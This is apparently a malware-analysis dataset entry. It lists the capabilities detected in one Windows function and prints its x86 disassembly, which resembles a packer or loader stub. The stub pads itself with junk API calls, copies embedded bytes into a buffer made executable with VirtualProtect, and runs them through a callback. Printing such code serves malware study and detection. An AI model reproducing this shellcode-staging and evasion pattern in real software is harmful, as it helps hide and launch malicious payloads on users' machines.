Function at 0x403441
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14f4
call fcn.0040e030
push ebx
push esi
xor esi, esi
cmp dword [0x9ebc30], 0x5b1
push edi
jne 0x4034dc
push esi
lea eax, [ebp - 0xcf0]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0x402f00
push esi
call fcn.00404275
push esi
push esi
push esi
push esi
call fcn.0040452c
push esi
call fcn.00403f00
add esp, 0x1c
push esi
push esi
call fcn.004045d0
push esi
push esi
call fcn.00403f0b
push esi
call fcn.0040403d
add esp, 0x10
mov dword [esp], esi
call fcn.004030f3
fstp st(0)
push esi
call fcn.00404c5b
add dword [0x9ebc30], 0x1134b
push dword [0x9ebc30]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x9ebc30]
mov dword [0x9eab84], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x9ebc30]
xor ecx, ecx
cmp eax, esi
jbe 0x403531
mov edx, dword [0x9ebc34]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x9eab84]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x403516
xor ebx, ebx
lea ecx, [eax + ebx]
cmp ecx, 0xe
jne 0x403592
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x2c], ax
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x8f0]
push eax
push 0x402f08
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x402f24
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov eax, dword [0x9ebc30]
inc ebx
cmp ebx, 0x39621
jl 0x403533
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, 0x206d47
jg 0x4035c5
inc ebx
cmp ebx, 0x4f6a4
jl 0x4035a3
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x4035ca
call fcn.00403383
push esi
call edi
cmp ebx, 0x26
jne 0x4035f6
call fcn.00403427
inc ebx
cmp ebx, 0x6753f
jl 0x4035e9
push 0x7b
pop ebx
cmp dword [0x9ebc30], 0x86
jne 0x40367a
xor eax, eax
mov word [ebp - 0x3c], ax
lea edi, [ebp - 0x3a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [ebp - 0x4f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
push 0x402f38
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x14f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x403602
call fcn.00403137
pop edi
pop esi
pop ebx
leave
ret